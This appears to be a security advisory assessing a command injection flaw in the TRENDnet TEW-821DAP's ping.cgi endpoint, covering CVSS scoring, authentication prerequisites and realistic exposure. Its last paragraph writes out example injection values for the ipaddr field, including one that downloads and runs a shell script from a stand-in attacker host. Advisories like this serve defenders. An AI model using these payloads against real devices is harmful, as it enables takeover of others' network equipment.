TRENDnet TEW-821DAP CVE-2026-76582

The CVSS 4.0 vector specifies PR:L, meaning exploitation requires at minimum low-privilege authenticated access to the TEW-821DAP web management interface - unauthenticated exploitation is not supported by the provided data. The attacker must be able to reach the /cgi-bin/ping.cgi endpoint over the network (AV:N), meaning HTTP/HTTPS access to the management interface must not be blocked by firewall rules or network segmentation. No non-default firmware configuration or special feature enablement is required beyond the standard presence of this CGI diagnostic endpoint, which is part of the default web UI. Exploitation is bounded by the authentication requirement: attackers lacking valid device credentials cannot directly trigger the injection remotely. Devices where management is restricted to LAN-only or a management VLAN, and where default credentials have been replaced, face substantially reduced realistic risk despite the network attack vector.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) establishes this as a network-exploitable, low-complexity vulnerability requiring low-privilege authenticated access, with a base score of 5.3. The E:P modifier confirms a public POC exists, narrowing the gap between theoretical and practical exploitation. The CVSS 4.0 impact metrics rate C/I/A as Low for both vulnerable and subsequent systems - a conservative assessment that likely reflects the constrained scope of a SOHO AP; independently, command injection realistically yields full OS access (see assessed vector). EPSS data is absent from the provided input, so exploitation probability cannot be quantified from that signal. The device does not appear in CISA KEV, so active widespread exploitation is not confirmed. The practical risk is elevated relative to the headline score: SOHO devices routinely ship with default or weak credentials that satisfy the PR:L requirement, and management interfaces are occasionally exposed to WAN segments by misconfiguration. Even a small network operator should treat any internet-facing instance as an urgent remediation target given the public POC.

An attacker with low-privilege access to the TEW-821DAP web interface - obtained via default credentials or brute force - sends an HTTP request to /cgi-bin/ping.cgi with an ipaddr value such as 127.0.0.1; id or 127.0.0.1 | wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s, causing the device's popen/system call to execute the injected payload as the CGI process user. A public POC on GitHub demonstrates the technique, making exploitation accessible to low-skill adversaries. If the management interface is WAN-exposed, this attack can be executed entirely remotely without physical access.